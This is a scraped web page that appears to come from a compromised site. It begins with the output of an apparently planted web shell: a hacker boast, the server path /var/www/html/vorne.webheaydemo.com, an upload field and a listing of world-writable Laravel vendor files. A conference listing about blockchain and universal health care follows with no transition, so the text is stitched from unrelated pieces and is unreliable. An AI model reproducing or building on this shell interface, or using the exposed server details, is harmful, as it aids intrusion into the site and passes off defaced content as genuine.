I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
carbon3333 KBMarch 05 2024 07:21:060666
carbon.bat133 KBMarch 05 2024 07:21:060666
generate-defuse-key3396 KBMarch 05 2024 07:21:140666
generate-defuse-key.bat146 KBMarch 05 2024 07:21:140666
patch-type-declarations3438 KBMarch 05 2024 07:21:020666
patch-type-declarations.bat150 KBMarch 05 2024 07:21:020666
php-parse3351 KBMarch 19 2024 12:13:240666
php-parse.bat136 KBMarch 19 2024 12:13:240666
phpunit3692 KBMarch 05 2024 07:21:240666
phpunit.bat134 KBMarch 05 2024 07:21:240666
pint3333 KBMarch 05 2024 07:21:140666
pint.bat131 KBMarch 05 2024 07:21:140666
psysh3318 KBMarch 19 2024 12:13:240666
psysh.bat132 KBMarch 19 2024 12:13:240666
sail941 KBMarch 19 2024 12:13:240666
sail.bat152 KBMarch 19 2024 12:13:240666
var-dump-server3405 KBMarch 05 2024 07:20:560666
var-dump-server.bat142 KBMarch 05 2024 07:20:560666
yaml-lint3369 KBMarch 05 2024 07:21:140666
yaml-lint.bat136 KBMarch 05 2024 07:21:140666
VORNE.AI - Event Details
Leveraging Blockchain for Scaling Access to Healthcare: How MPC is contributing to UHC
29 May
2024
CHIEF

Leveraging Blockchain for Scaling Access to Healthcare: How MPC is contributing to UHC

Blockchain is transforming every sector including healthcare. How can the health sector leverage the power of blockchain in scaling access to healthcare? While blockchain provides unprecedented transparency, security and efficiency it also provides an opportunity for innovative financing and investment for scaling towards universal health care. Partisia blockchain is pioneering use of blockchain in the health and development sector. Join us to explore the power of blockchain for global health.

Wednesday 29 May | 12H00-14H00 | Intercontinental Hotel, Ballroom A

Tags: